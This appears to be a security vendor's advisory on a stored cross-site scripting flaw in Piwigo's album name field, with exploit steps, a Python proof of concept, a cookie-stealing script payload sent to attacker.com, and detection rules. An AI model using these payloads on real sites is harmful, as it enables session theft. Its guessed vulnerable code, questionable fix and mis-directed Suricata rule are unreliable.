CVE-2024-46333

Executive Summary

CVE-2024-46333 is an authenticated stored cross-site scripting (XSS) vulnerability in Piwigo v14.5.0. An attacker with valid user credentials can inject arbitrary web scripts or HTML into the Album Name parameter during the Add Album function. The injected payload is stored on the server and executed in the browsers of other users (including administrators) who view the affected album, leading to session hijacking, data theft, or further compromise.

This vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 4.8 (Medium) due to the requirement for authentication and user interaction, but the impact can be severe in a multi-user Piwigo environment.

Supply Chain & Package Security

Piwigo is a self-hosted PHP application. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their Piwigo installation and ensure no malicious modifications have been made.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated user
• User Interaction (UI): Required (R) – victim must view the album
• Scope (S): Changed (C) – vulnerable component impacts other users
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Base Score: 4.8 (Medium)

Threat Level: Medium – Exploitation is straightforward but requires an authenticated account. In shared or public Piwigo installations, the risk is elevated.

Deep Dive & Mechanics

The vulnerability resides in the album creation functionality. When a user submits the Add Album form, the Album Name parameter is not properly sanitized before being stored in the database and later rendered in the web interface.

Attack Flow:

1. Attacker logs into Piwigo with a valid account.
2. Attacker navigates to the album management page and selects Add Album.
3. Attacker injects a malicious payload into the Album Name field, e.g.:

   <img src=x onerror=alert('XSS')>
   

4. The payload is stored in the database without sanitization.
5. When an administrator or another user views the album list or the album page, the payload executes in their browser.

Root Cause: The application fails to escape or validate the Album Name input before storage and output. The name field is likely inserted directly into HTML without using htmlspecialchars() or similar escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (Piwigo v14.5.0):

// In admin/albums.php or similar
$album_name = $_POST['album_name'];
// Directly inserted into database
$query = "INSERT INTO piwigo_categories (name) VALUES ('$album_name')";
// Later rendered without escaping
echo "<a href='album.php?id=$album_id'>$album_name</a>";

Patched Code (Expected Fix):

// Sanitize input
$album_name = htmlspecialchars($_POST['album_name'], ENT_QUOTES, 'UTF-8');
// Use prepared statements
$stmt = $pdo->prepare("INSERT INTO piwigo_categories (name) VALUES (?)");
$stmt->execute([$album_name]);
// Output is already safe
echo "<a href='album.php?id=$album_id'>$album_name</a>";

Note: As of this analysis, no official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid Piwigo user account (any role)
• Access to the album management interface

Step-by-Step Exploit:

1. Log in to Piwigo.
2. Navigate to admin.php?page=album_add (or similar).
3. In the Album Name field, enter a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. The payload is stored. When an admin views the album list, the script executes and exfiltrates cookies.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-piwigo.com"
session = requests.Session()

# Login
login_data = {"username": "attacker", "password": "password123"}
session.post(f"{target}/identification.php", data=login_data)

# Add malicious album
payload = "<script>alert('XSS')</script>"
album_data = {"name": payload, "parent": "0"}
session.post(f"{target}/admin.php?page=album_add", data=album_data)

print("Malicious album created. Trigger by viewing album list.")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for unusual album_name parameters containing <script>, <img onerror>, or other HTML/JS constructs.
• Use WAF rules to block common XSS payloads in POST parameters.

Hardening:

• Apply input validation and output escaping (see patched code).
• Restrict album creation to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the Piwigo server.
  • Suspicious album_name values in POST requests to /admin.php?page=album_add.

• File IOCs:

  • Modified or new entries in the piwigo_categories table with HTML/JS in the name column.

• Log IOCs:

  • Web server logs showing album_name containing <script>, onerror, onload, etc.

Detection Engineering

YARA Rule

rule CVE_2024_46333_Piwigo_XSS {
    meta:
        description = "Detects stored XSS payloads in Piwigo album names"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-46333"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]+onerror\s*=/i
        $xss3 = /<svg[^>]+onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Piwigo Stored XSS via Album Name
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2024-46333 by injecting XSS payloads into the album name parameter.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=album_add'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in album names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-46333 Piwigo Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin.php?page=album_add"; http_uri;
    content:"album_name"; http_client_body;
    pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload|javascript:)/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable album creation for non-admin users until a patch is applied.
2. Manually sanitize input by modifying the Piwigo source code (see patched code section).
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the album_name parameter.

Long-Term Fix:

• Apply the official patch when released by Piwigo.
• Upgrade to a patched version (if available).
• Conduct a security audit of all user-input fields in the application.

Workaround:

• Use .htaccess or Nginx config to restrict access to admin.php to trusted IPs only.

Valters IT – DevSecOps & Cyber Threat Intelligence